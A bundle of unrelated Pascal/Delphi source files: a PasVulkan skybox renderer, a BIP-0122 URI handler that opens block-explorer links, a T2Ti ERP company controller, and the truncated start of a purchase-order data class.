{$ifdef conditionalexpressions}
{$if CompilerVersion>=24.0}
{$legacyifend on}
{$ifend}
{$endif}
{$endif}
{$m+}
interface
uses SysUtils,
Classes,
Vulkan,
PasVulkan.Types,
PasVulkan.Math,
PasVulkan.Framework,
PasVulkan.Application,
PasVulkan.Scene3D,
PasVulkan.Scene3D.Renderer.Globals,
PasVulkan.Scene3D.Renderer,
PasVulkan.Scene3D.Renderer.Instance;
type { TpvScene3DRendererSkyBox }
TpvScene3DRendererSkyBox=class
public
type TPushConstants=record
ViewBaseIndex:TpvUInt32;
CountViews:TpvUInt32;
SkyBoxBrightnessFactor:TpvFloat;
end;
private
fRenderer:TpvScene3DRenderer;
fScene3D:TpvScene3D;
fVertexShaderModule:TpvVulkanShaderModule;
fFragmentShaderModule:TpvVulkanShaderModule;
fVulkanPipelineShaderStageVertex:TpvVulkanPipelineShaderStage;
fVulkanPipelineShaderStageFragment:TpvVulkanPipelineShaderStage;
fVulkanDescriptorSetLayout:TpvVulkanDescriptorSetLayout;
fVulkanDescriptorPool:TpvVulkanDescriptorPool;
fVulkanDescriptorSets:array[0..MaxInFlightFrames-1] of TpvVulkanDescriptorSet;
fVulkanPipelineLayout:TpvVulkanPipelineLayout;
fVulkanPipeline:TpvVulkanGraphicsPipeline;
public
constructor Create(const aRenderer:TpvScene3DRenderer;const aScene3D:TpvScene3D;const aSkyCubeMap:TVkDescriptorImageInfo);
destructor Destroy; override;
procedure AllocateResources(const aRenderPass:TpvVulkanRenderPass;
const aWidth:TpvInt32;
const aHeight:TpvInt32;
const aVulkanSampleCountFlagBits:TVkSampleCountFlagBits=TVkSampleCountFlagBits(VK_SAMPLE_COUNT_1_BIT));
procedure ReleaseResources;
procedure Draw(const aInFlightFrameIndex,aViewBaseIndex,aCountViews:TpvSizeInt;const aCommandBuffer:TpvVulkanCommandBuffer);
end;
implementation
{ TpvScene3DRendererSkyBox }
constructor TpvScene3DRendererSkyBox.Create(const aRenderer:TpvScene3DRenderer;const aScene3D:TpvScene3D;const aSkyCubeMap:TVkDescriptorImageInfo);
var Index:TpvSizeInt;
Stream:TStream;
begin
inherited Create;
fRenderer:=aRenderer;
fScene3D:=aScene3D;
Stream:=pvScene3DShaderVirtualFileSystem.GetFile('skybox_vert.spv');
try
fVertexShaderModule:=TpvVulkanShaderModule.Create(fRenderer.VulkanDevice,Stream);
finally
Stream.Free;
end;
Stream:=pvScene3DShaderVirtualFileSystem.GetFile('skybox_frag.spv');
try
fFragmentShaderModule:=TpvVulkanShaderModule.Create(fRenderer.VulkanDevice,Stream);
finally
Stream.Free;
end;
fVulkanPipelineShaderStageVertex:=TpvVulkanPipelineShaderStage.Create(VK_SHADER_STAGE_VERTEX_BIT,fVertexShaderModule,'main');
fVulkanPipelineShaderStageFragment:=TpvVulkanPipelineShaderStage.Create(VK_SHADER_STAGE_FRAGMENT_BIT,fFragmentShaderModule,'main');
fVulkanDescriptorSetLayout:=TpvVulkanDescriptorSetLayout.Create(fRenderer.VulkanDevice);
fVulkanDescriptorSetLayout.AddBinding(0,
VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER,
1,
TVkShaderStageFlags(VK_SHADER_STAGE_VERTEX_BIT),
[]);
fVulkanDescriptorSetLayout.AddBinding(1,
VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER,
1,
TVkShaderStageFlags(VK_SHADER_STAGE_FRAGMENT_BIT),
[]);
fVulkanDescriptorSetLayout.Initialize;
fVulkanDescriptorPool:=TpvVulkanDescriptorPool.Create(fRenderer.VulkanDevice,TVkDescriptorPoolCreateFlags(VK_DESCRIPTOR_POOL_CREATE_FREE_DESCRIPTOR_SET_BIT),fScene3D.CountInFlightFrames);
fVulkanDescriptorPool.AddDescriptorPoolSize(VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER,fScene3D.CountInFlightFrames);
fVulkanDescriptorPool.AddDescriptorPoolSize(VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER,fScene3D.CountInFlightFrames);
fVulkanDescriptorPool.Initialize;
for Index:=0 to fScene3D.CountInFlightFrames-1 do begin
fVulkanDescriptorSets[Index]:=TpvVulkanDescriptorSet.Create(fVulkanDescriptorPool,
fVulkanDescriptorSetLayout);
fVulkanDescriptorSets[Index].WriteToDescriptorSet(0,
0,
1,
TVkDescriptorType(VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER),
[],
[fScene3D.GlobalVulkanViewUniformBuffers[Index].DescriptorBufferInfo],
[],
false);
fVulkanDescriptorSets[Index].WriteToDescriptorSet(1,
0,
1,
TVkDescriptorType(VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER),
[aSkyCubeMap],
[],
[],
false);
fVulkanDescriptorSets[Index].Flush;
end;
fVulkanPipelineLayout:=TpvVulkanPipelineLayout.Create(fRenderer.VulkanDevice);
fVulkanPipelineLayout.AddPushConstantRange(TVkPipelineStageFlags(VK_SHADER_STAGE_VERTEX_BIT),0,SizeOf(TpvScene3DRendererSkyBox.TPushConstants));
fVulkanPipelineLayout.AddDescriptorSetLayout(fVulkanDescriptorSetLayout);
fVulkanPipelineLayout.Initialize;
end;
destructor TpvScene3DRendererSkyBox.Destroy;
var Index:TpvSizeInt;
begin
FreeAndNil(fVulkanPipelineLayout);
for Index:=0 to fScene3D.CountInFlightFrames-1 do begin
FreeAndNil(fVulkanDescriptorSets[Index]);
end;
FreeAndNil(fVulkanDescriptorPool);
FreeAndNil(fVulkanDescriptorSetLayout);
FreeAndNil(fVulkanPipelineShaderStageVertex);
FreeAndNil(fVulkanPipelineShaderStageFragment);
FreeAndNil(fVertexShaderModule);
FreeAndNil(fFragmentShaderModule);
inherited Destroy;
end;
procedure TpvScene3DRendererSkyBox.AllocateResources(const aRenderPass:TpvVulkanRenderPass;
const aWidth:TpvInt32;
const aHeight:TpvInt32;
const aVulkanSampleCountFlagBits:TVkSampleCountFlagBits=TVkSampleCountFlagBits(VK_SAMPLE_COUNT_1_BIT));
begin
fVulkanPipeline:=TpvVulkanGraphicsPipeline.Create(fRenderer.VulkanDevice,
fRenderer.VulkanPipelineCache,
0,
[],
fVulkanPipelineLayout,
aRenderPass,
0,
nil,
0);
fVulkanPipeline.AddStage(fVulkanPipelineShaderStageVertex);
fVulkanPipeline.AddStage(fVulkanPipelineShaderStageFragment);
fVulkanPipeline.InputAssemblyState.Topology:=TVkPrimitiveTopology(VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST);
fVulkanPipeline.InputAssemblyState.PrimitiveRestartEnable:=false;
fVulkanPipeline.ViewPortState.AddViewPort(0.0,0.0,aWidth,aHeight,0.0,1.0);
fVulkanPipeline.ViewPortState.AddScissor(0,0,aWidth,aHeight);
fVulkanPipeline.RasterizationState.DepthClampEnable:=false;
fVulkanPipeline.RasterizationState.RasterizerDiscardEnable:=false;
fVulkanPipeline.RasterizationState.PolygonMode:=VK_POLYGON_MODE_FILL;
fVulkanPipeline.RasterizationState.CullMode:=TVkCullModeFlags(VK_CULL_MODE_NONE);
fVulkanPipeline.RasterizationState.FrontFace:=VK_FRONT_FACE_CLOCKWISE;
fVulkanPipeline.RasterizationState.DepthBiasEnable:=false;
fVulkanPipeline.RasterizationState.DepthBiasConstantFactor:=0.0;
fVulkanPipeline.RasterizationState.DepthBiasClamp:=0.0;
fVulkanPipeline.RasterizationState.DepthBiasSlopeFactor:=0.0;
fVulkanPipeline.RasterizationState.LineWidth:=1.0;
fVulkanPipeline.MultisampleState.RasterizationSamples:=aVulkanSampleCountFlagBits;
fVulkanPipeline.MultisampleState.SampleShadingEnable:=false;
fVulkanPipeline.MultisampleState.MinSampleShading:=0.0;
fVulkanPipeline.MultisampleState.CountSampleMasks:=0;
fVulkanPipeline.MultisampleState.AlphaToCoverageEnable:=false;
fVulkanPipeline.MultisampleState.AlphaToOneEnable:=false;
fVulkanPipeline.ColorBlendState.LogicOpEnable:=false;
fVulkanPipeline.ColorBlendState.LogicOp:=VK_LOGIC_OP_COPY;
fVulkanPipeline.ColorBlendState.BlendConstants[0]:=0.0;
fVulkanPipeline.ColorBlendState.BlendConstants[1]:=0.0;
fVulkanPipeline.ColorBlendState.BlendConstants[2]:=0.0;
fVulkanPipeline.ColorBlendState.BlendConstants[3]:=0.0;
fVulkanPipeline.ColorBlendState.AddColorBlendAttachmentState(false,
VK_BLEND_FACTOR_ZERO,
VK_BLEND_FACTOR_ZERO,
VK_BLEND_OP_ADD,
VK_BLEND_FACTOR_ZERO,
VK_BLEND_FACTOR_ZERO,
VK_BLEND_OP_ADD,
TVkColorComponentFlags(VK_COLOR_COMPONENT_R_BIT) or
TVkColorComponentFlags(VK_COLOR_COMPONENT_G_BIT) or
TVkColorComponentFlags(VK_COLOR_COMPONENT_B_BIT) or
TVkColorComponentFlags(VK_COLOR_COMPONENT_A_BIT));
fVulkanPipeline.DepthStencilState.DepthTestEnable:=false;
fVulkanPipeline.DepthStencilState.DepthWriteEnable:=false;
fVulkanPipeline.DepthStencilState.DepthCompareOp:=VK_COMPARE_OP_ALWAYS;
fVulkanPipeline.DepthStencilState.DepthBoundsTestEnable:=false;
fVulkanPipeline.DepthStencilState.StencilTestEnable:=false;
fVulkanPipeline.Initialize;
fVulkanPipeline.FreeMemory;
end;
procedure TpvScene3DRendererSkyBox.ReleaseResources;
begin
FreeAndNil(fVulkanPipeline);
end;
procedure TpvScene3DRendererSkyBox.Draw(const aInFlightFrameIndex,aViewBaseIndex,aCountViews:TpvSizeInt;const aCommandBuffer:TpvVulkanCommandBuffer);
var PushConstants:TpvScene3DRendererSkyBox.TPushConstants;
begin
PushConstants.ViewBaseIndex:=aViewBaseIndex;
PushConstants.CountViews:=aCountViews;
PushConstants.SkyBoxBrightnessFactor:=fScene3D.SkyBoxBrightnessFactor;
aCommandBuffer.CmdBindPipeline(VK_PIPELINE_BIND_POINT_GRAPHICS,fVulkanPipeline.Handle);
aCommandBuffer.CmdPushConstants(fVulkanPipelineLayout.Handle,
TVkShaderStageFlags(TVkShaderStageFlagBits.VK_SHADER_STAGE_VERTEX_BIT),
0,
SizeOf(TpvScene3DRendererSkyBox.TPushConstants),
@PushConstants);
aCommandBuffer.CmdBindDescriptorSets(VK_PIPELINE_BIND_POINT_GRAPHICS,
fVulkanPipelineLayout.Handle,
0,
1,
@fVulkanDescriptorSets[aInFlightFrameIndex].Handle,
0,
nil);
aCommandBuffer.CmdDraw(36,1,0,0);
end;
end.
|
program bip0122handler;
{$ifdef fpc}{$mode delphi}{$endif}{$H+}
uses
{$IFDEF UNIX}{$IFDEF UseCThreads}
cthreads,
{$ENDIF}{$ENDIF}
Classes, SysUtils, CustApp,
Generics.Collections, Bip0122Uriparser, Bip0122Processor, Explorersprocessor,
UnitTranslator, lclintf, LazFileUtils;
type
TOptionsDictionary = TDictionary<string, string>;
{ TBIP0122Application }
TBIP0122Application = class(TCustomApplication)
protected
procedure DoRun; override;
public
constructor Create(TheOwner: TComponent); override;
destructor Destroy; override;
procedure WriteHelp; virtual;
private
Options: TOptionsDictionary;
procedure CreateOptions;
function GetShortOptionsList: String;
function GetLongOptionsList: TStringArray;
procedure Process(SettingExplorerNames: TStrings; BipProcessor: TBIP0122Processor; const BipUri: TBIP0122URI);
procedure WriteHelpPleaseSetExplorers(ExplorerNames: TStrings);
end;
const
ExplorersJsonFileName = 'block-explorers.json';
ShortOptionHelp = 'h';
ShortOptionSetExplorers = 's';
ShortOptionGetExplorers = 'g';
ShortOptionClearExplorers = 'x';
ShortOptionLang = 'l';
resourcestring
SExplorersNotSet = 'Block explorer(s) not yet set, cannot continue';
SExplorersSet = 'Block explorer(s) set to the following:';
SExplorersCleared = 'Block explorers cleared. You may set them again with %s';
SHelpDisplayThisHelp = 'display this help and exit';
SHelpGetExplorers = 'gets the list of currently used block explorers';
SHelpParamOption = '[option]';
SHelpParamURI = '[URI]';
SHelpSetExplorers = 'sets comma-separated list of used explorers. ' + LineEnding + 'Use names from %s';
SHelpClearExplorers = 'clear all used block explorers';
SHelpUsage = 'Usage: ';
SHelpWhereOptionIs = 'where [option] is one of the following:';
SHelpWhereURIIs = 'where [URI] is a BIP0122 URI, or';
SPleaseSetExplorers = 'Please set your desired block explorer(s) by using -' + ShortOptionSetExplorers + ' "comma-separated list containing selection of explorers below"';
SUnhandledException = 'Unhandled %s exception: %s';
SWarningUnknownExplorers = 'Warning: unknown explorers specified. Please use names from %s';
{ TBIP0122Application }
procedure TBIP0122Application.DoRun;
var
ErrorMsg: String;
NonOptions: TStringArray;
NonOption: String;
ShortOptions: String;
LongOptions: TStringArray;
BipUri: TBIP0122URI = nil;
BipProcessor: TBIP0122Processor;
ExplorersProcessor: TExplorersProcessor;
ExplorerStorage: TRegistryExplorerStorage;
SoftwareName: String;
OptionExplorers: String = '';
ShowHelp: Boolean = false;
RegistryKey: String;
begin
{$if declared(useHeapTrace)}
SetHeapTraceOutput('heaptrace.log');
globalSkipIfNoLeaks := true;
{$endIf}
ShortOptions := GetShortOptionsList();
LongOptions := GetLongOptionsList();
// quick check parameters
ErrorMsg := CheckOptions(ShortOptions, LongOptions);
if ErrorMsg<>'' then
begin
Writeln(stderr, ErrorMsg);
Terminate;
Exit;
end;
// parse parameters
if HasOption(ShortOptionHelp, Options[ShortOptionHelp]) then
begin
WriteHelp;
Terminate;
Exit;
end;
{ add your program here }
SoftwareName := ExtractFileName(ExtractFileNameWithoutExt(ExeName));
RegistryKey := '\SOFTWARE\' + SoftwareName;
try
BipProcessor := TBip0122Processor.Create([
ExplorersJsonFileName,
GetAppConfigDir(true) + ExplorersJsonFileName,
GetAppConfigDir(false) + ExplorersJsonFileName
]);
ExplorerStorage := TRegistryExplorerStorage.Create(RegistryKey);
try
ExplorersProcessor := TExplorersProcessor.Create(BipProcessor.GetExplorerNames, ExplorerStorage);
if HasOption(ShortOptionSetExplorers, Options[ShortOptionSetExplorers]) then
begin
OptionExplorers := GetOptionValue(ShortOptionSetExplorers, Options[ShortOptionSetExplorers]);
ExplorersProcessor.SetExplorers(OptionExplorers);
if ExplorersProcessor.ListOfUnknownExplorers.Count > 0 then
begin
writeln(Format(SWarningUnknownExplorers, [ExplorersJsonFileName]),
LineEnding, ExplorersProcessor.ListOfUnknownExplorers.CommaText);
end;
if ExplorersProcessor.ListOfKnownExplorers.Count > 0 then
begin
writeln(SExplorersSet, LineEnding, ExplorersProcessor.ListOfKnownExplorers.CommaText);
end
else
begin
WriteHelpPleaseSetExplorers(ExplorersProcessor.ListOfAllExplorers);
end;
end
else if HasOption(ShortOptionClearExplorers, Options[ShortOptionClearExplorers]) then
begin
ExplorersProcessor.SetExplorers('');
writeln(Format(SExplorersCleared, ['-' + ShortOptionSetExplorers]));
end
else
begin
ExplorersProcessor.GetExplorers;
if ExplorersProcessor.ListOfKnownExplorers.DelimitedText = '' then
begin
writeln(SExplorersNotSet);
WriteHelpPleaseSetExplorers(ExplorersProcessor.ListOfAllExplorers);
end
else if HasOption(ShortOptionGetExplorers, Options[ShortOptionGetExplorers]) then
begin
writeln(ExplorersProcessor.ListOfKnownExplorers.CommaText);
end
else
begin
if ExplorersProcessor.ListOfUnknownExplorers.Count > 0 then
begin
writeln(Format(SWarningUnknownExplorers, [ExplorersJsonFileName]),
LineEnding, ExplorersProcessor.ListOfUnknownExplorers.CommaText);
end;
NonOptions := GetNonOptions(ShortOptions, LongOptions);
ShowHelp := True;
if Length(NonOptions) > 0 then
begin
for NonOption in NonOptions do
begin
if TBIP0122URI.TryParse(NonOption, BipUri) then
begin
ShowHelp := False;
Process(ExplorersProcessor.ListOfKnownExplorers, BipProcessor, BipUri);
BipUri.Free;
break;
end
end
end;
if ShowHelp then
WriteHelp;
end
end
finally
FreeAndNil(ExplorersProcessor);
FreeAndNil(BipProcessor);
end;
except
on E: Exception do
begin
Writeln(stderr, Format(SUnhandledException, [E.ClassName, E.Message]));
end;
end;
Terminate;
Exit;
end;
constructor TBIP0122Application.Create(TheOwner: TComponent);
begin
inherited Create(TheOwner);
StopOnException:=True;
CreateOptions;
end;
destructor TBIP0122Application.Destroy;
begin
FreeAndNil(Options);
inherited Destroy;
end;
procedure TBIP0122Application.WriteHelp;
begin
writeln(SHelpUsage + ExtractFileName(ExeName) + ' ' + SHelpParamOption + ' ' + SHelpParamURI);
writeln;
writeln(SHelpWhereURIIs);
writeln(SHelpWhereOptionIs);
writeln(' -' + ShortOptionHelp, ' --' + Options[ShortOptionHelp], #9, #9, SHelpDisplayThisHelp);
writeln(' -' + ShortOptionSetExplorers, ' --' + Options[ShortOptionSetExplorers], #9, StringReplace(Trim(Format(SHelpSetExplorers, [ExplorersJsonFileName])), LineEnding, LineEnding + #9#9#9, [rfReplaceAll]));
writeln(' -' + ShortOptionGetExplorers, ' --' + Options[ShortOptionGetExplorers], #9, SHelpGetExplorers);
writeln(' -' + ShortOptionClearExplorers, ' --' + Options[ShortOptionClearExplorers], #9, SHelpClearExplorers);
end;
procedure TBIP0122Application.WriteHelpPleaseSetExplorers(ExplorerNames: TStrings);
var
ExplorerName: String;
begin
writeln(SPleaseSetExplorers);
for ExplorerName in ExplorerNames do
writeln(ExplorerName);
end;
function TBIP0122Application.GetShortOptionsList: String;
begin
Result := string.Join('', Options.Keys.ToArray);
end;
procedure TBIP0122Application.CreateOptions;
begin
Options := TOptionsDictionary.Create;
Options.Add(ShortOptionHelp, 'help');
Options.Add(ShortOptionSetExplorers, 'setexplorers');
Options.Add(ShortOptionGetExplorers, 'getexplorers');
Options.Add(ShortOptionClearExplorers, 'clearexplorers');
Options.Add(ShortOptionLang, 'lang');
end;
function TBIP0122Application.GetLongOptionsList: TStringArray;
var
Value: String;
i: Integer;
begin
i := 0;
Result := TStringArray.Create;
SetLength(Result, Options.Values.Count);
for Value in Options.Values do
begin
Result[i] := Value;
i := i + 1;
end;
end;
procedure TBIP0122Application.Process(SettingExplorerNames: TStrings; BipProcessor: TBIP0122Processor; const BipUri: TBIP0122URI);
var
ResultUrl: String;
ExplorerName: String;
begin
for ExplorerName in SettingExplorerNames do
begin
ResultUrl := BipProcessor.GetUrlForBipUri(ExplorerName, BipUri);
if ResultUrl <> '' then
begin
OpenUrl(ResultUrl);
end;
end;
end;
var
Application: TBIP0122Application;
{$R *.res}
begin
Application := TBIP0122Application.Create(nil);
Application.Title:='BIP-0122 handler';
Application.Run;
Application.Free;
end.
|
{*******************************************************************************
Title: T2Ti ERP
Description: Controller do lado Cliente relacionado Ó tabela [EMPRESA]
The MIT License
Copyright: Copyright (C) 2010 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
t2ti.com@gmail.com
@author Albert Eije (t2ti.com@gmail.com)
@version 1.0
*******************************************************************************}
unit EmpresaController;
interface
uses
Classes, FMX.Dialogs, SysUtils, DBClient, DB, Windows, FMX.Forms, Controller, Rtti, Atributos,
EmpresaVO, Generics.Collections, VO;
type
TEmpresaController = class(TController)
private
class var FDataSet: TClientDataSet;
public
class procedure Consulta(pFiltro: String; pPagina: String; pConsultaCompleta: Boolean = False);
class function ConsultaObjeto(pFiltro: String): TEmpresaVO;
class function GetDataSet: TClientDataSet; override;
class procedure SetDataSet(pDataSet: TClientDataSet); override;
class procedure TratarListaRetorno(pListaObjetos: TObjectList<TVO>);
end;
implementation
uses
EmpresaEnderecoVO;
class procedure TEmpresaController.Consulta(pFiltro: String; pPagina: String; pConsultaCompleta: Boolean);
var
Retorno: TObjectList<TEmpresaVO>;
begin
try
// Retorno := TT2TiORM.Consultar<TEmpresaVO>(pFiltro, pPagina, pConsultaCompleta);
TratarRetorno<TEmpresaVO>(Retorno);
finally
end;
end;
class function TEmpresaController.ConsultaObjeto(pFiltro: String): TEmpresaVO;
var
EnderecosEnumerator: TEnumerator<TEmpresaEnderecoVO>;
begin
try
// Result := TT2TiORM.ConsultarUmObjeto<TEmpresaVO>(pFiltro, True);
// Procura o enderešo principal para uso
EnderecosEnumerator := Result.ListaEmpresaEnderecoVO.GetEnumerator;
try
with EnderecosEnumerator do
begin
while MoveNext do
begin
if Current.Principal = 'S' then
begin
Result.EnderecoPrincipal := Current;
end;
end;
end;
finally
FreeAndNil(EnderecosEnumerator);
end;
finally
end;
end;
class function TEmpresaController.GetDataSet: TClientDataSet;
begin
Result := FDataSet;
end;
class procedure TEmpresaController.SetDataSet(pDataSet: TClientDataSet);
begin
FDataSet := pDataSet;
end;
class procedure TEmpresaController.TratarListaRetorno(pListaObjetos: TObjectList<TVO>);
begin
try
TratarRetorno<TEmpresaVO>(TObjectList<TEmpresaVO>(pListaObjetos));
finally
FreeAndNil(pListaObjetos);
end;
end;
initialization
Classes.RegisterClass(TEmpresaController);
finalization
Classes.UnRegisterClass(TEmpresaController);
end.
|
{*******************************************************************************
Title: T2Ti ERP
Description: VO relacionado à tabela [COMPRA_PEDIDO]
The MIT License
Copyright: Copyright (C) 2015 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
t2ti.com@gmail.com
@author Albert Eije (t2ti.com@gmail.com)
@version 2.0
*******************************************************************************}
unit CompraPedidoVO;
interface
uses
VO, Atributos, Classes, Constantes, Generics.Collections, SysUtils, DB,
ViewPessoaFornecedorVO, CompraTipoPedidoVO, CompraPedidoDetalheVO,
CompraCotacaoPedidoDetalheVO;
type
[TEntity]
[TTable('COMPRA_PEDIDO')]
TCompraPedidoVO = class(TVO)
private
FID: Integer;
FID_COMPRA_TIPO_PEDIDO: Integer;
FID_FORNECEDOR: Integer;
FDATA_PEDIDO: TDateTime;
FDATA_PREVISTA_ENTREGA: TDateTime;
FDATA_PREVISAO_PAGAMENTO: TDateTime;
FLOCAL_ENTREGA: String;
FLOCAL_COBRANCA: String;
FCONTATO: String;
FVALOR_SUBTOTAL: Extended;
FTAXA_DESCONTO: Extended;
FVALOR_DESCONTO: Extended;
FVALOR_TOTAL_PEDIDO: Extended;
FTIPO_FRETE: String;
FFORMA_PAGAMENTO: String;
FBASE_CALCULO_ICMS: Extended;
FVALOR_ICMS: Extended;
FBASE_CALCULO_ICMS_ST: Extended;
FVALOR_ICMS_ST: Extended;
FVALOR_TOTAL_PRODUTOS: Extended;
FVALOR_FRETE: Extended;
FVALOR_SEGURO: Extended;
FVALOR_OUTRAS_DESPESAS: Extended;
FVALOR_IPI: Extended;
FVALOR_TOTAL_NF: Extended;
FQUANTIDADE_PARCELAS: Integer;
FDIAS_PRIMEIRO_VENCIMENTO: Integer;
FDIAS_INTERVALO: Integer;
//Transientes
FFornecedorNome: String;
FCompraTipoPedidoNome: String;
FFornecedorVO: TViewPessoaFornecedorVO;
FCompraTipoPedidoVO: TCompraTipoPedidoVO;
FListaCompraPedidoDetalheVO: TObjectList<TCompraPedidoDetalheVO>;
FListaCompraCotacaoPedidoDetalheVO: TObjectList<TCompraCotacaoPedidoDetalheVO>;
public
constructor Create; override;
destructor Destroy; override;
[TId('ID', [ldGrid, ldLookup, ldComboBox])]
[TGeneratedValue(sAuto)]
[TFormatter(ftZerosAEsquerda, taCenter)]
property Id: Integer read FID write FID;
[TColumn('ID_COMPRA_TIPO_PEDIDO', 'Id Compra Tipo Pedido', 80, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftZerosAEsquerda, taCenter)]
property IdCompraTipoPedido: Integer read FID_COMPRA_TIPO_PEDIDO write FID_COMPRA_TIPO_PEDIDO;
[TColumnDisplay('COMPRA_TIPO_PEDIDO.NOME', 'Tipo Pedido', 250, [ldGrid, ldLookup, ldCombobox], ftString, 'CompraTipoPedidoVO.TCompraTipoPedidoVO', True)]
property CompraTipoPedidoNome: String read FCompraTipoPedidoNome write FCompraTipoPedidoNome;
[TColumn('ID_FORNECEDOR', 'Id Fornecedor', 80, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftZerosAEsquerda, taCenter)]
property IdFornecedor: Integer read FID_FORNECEDOR write FID_FORNECEDOR;
[TColumnDisplay('FORNECEDOR.NOME', 'Nome Fornecedor', 150, [ldGrid, ldLookup], ftString, 'ViewPessoaFornecedorVO.TViewPessoaFornecedorVO', True)]
property FornecedorNome: String read FFornecedorNome write FFornecedorNome;
[TColumn('DATA_PEDIDO', 'Data Pedido', 80, [ldGrid, ldLookup, ldCombobox], False)]
property DataPedido: TDateTime read FDATA_PEDIDO write FDATA_PEDIDO;
[TColumn('DATA_PREVISTA_ENTREGA', 'Data Prevista Entrega', 80, [ldGrid, ldLookup, ldCombobox], False)]
property DataPrevistaEntrega: TDateTime read FDATA_PREVISTA_ENTREGA write FDATA_PREVISTA_ENTREGA;
[TColumn('DATA_PREVISAO_PAGAMENTO', 'Data Previsao Pagamento', 80, [ldGrid, ldLookup, ldCombobox], False)]
property DataPrevisaoPagamento: TDateTime read FDATA_PREVISAO_PAGAMENTO write FDATA_PREVISAO_PAGAMENTO;
[TColumn('LOCAL_ENTREGA', 'Local Entrega', 450, [ldGrid, ldLookup, ldCombobox], False)]
property LocalEntrega: String read FLOCAL_ENTREGA write FLOCAL_ENTREGA;
[TColumn('LOCAL_COBRANCA', 'Local Cobranca', 450, [ldGrid, ldLookup, ldCombobox], False)]
property LocalCobranca: String read FLOCAL_COBRANCA write FLOCAL_COBRANCA;
[TColumn('CONTATO', 'Contato', 240, [ldGrid, ldLookup, ldCombobox], False)]
property Contato: String read FCONTATO write FCONTATO;
[TColumn('VALOR_SUBTOTAL', 'Valor Subtotal', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorSubtotal: Extended read FVALOR_SUBTOTAL write FVALOR_SUBTOTAL;
[TColumn('TAXA_DESCONTO', 'Taxa Desconto', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property TaxaDesconto: Extended read FTAXA_DESCONTO write FTAXA_DESCONTO;
[TColumn('VALOR_DESCONTO', 'Valor Desconto', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorDesconto: Extended read FVALOR_DESCONTO write FVALOR_DESCONTO;
[TColumn('VALOR_TOTAL_PEDIDO', 'Valor Total Pedido', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorTotalPedido: Extended read FVALOR_TOTAL_PEDIDO write FVALOR_TOTAL_PEDIDO;
[TColumn('TIPO_FRETE', 'Tipo Frete', 8, [ldGrid, ldLookup, ldCombobox], False)]
property TipoFrete: String read FTIPO_FRETE write FTIPO_FRETE;
[TColumn('FORMA_PAGAMENTO', 'Forma Pagamento', 8, [ldGrid, ldLookup, ldCombobox], False)]
property FormaPagamento: String read FFORMA_PAGAMENTO write FFORMA_PAGAMENTO;
[TColumn('BASE_CALCULO_ICMS', 'Base Calculo Icms', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property BaseCalculoIcms: Extended read FBASE_CALCULO_ICMS write FBASE_CALCULO_ICMS;
[TColumn('VALOR_ICMS', 'Valor Icms', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorIcms: Extended read FVALOR_ICMS write FVALOR_ICMS;
[TColumn('BASE_CALCULO_ICMS_ST', 'Base Calculo Icms St', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property BaseCalculoIcmsSt: Extended read FBASE_CALCULO_ICMS_ST write FBASE_CALCULO_ICMS_ST;
[TColumn('VALOR_ICMS_ST', 'Valor Icms St', 168, [ldGrid, ldLookup, ldCombobox], False)]
[TFormatter(ftFloatComSeparador, taRightJustify)]
property ValorIcmsSt: Extended read FVALOR_ICMS_ST write FVALOR_ICMS_ST;
[TColumn('VALOR_TOTAL_PRODUTOS', 'Valor Total Produtos', 168, [ldGrid, ldLookup, ldCombobox], False)]
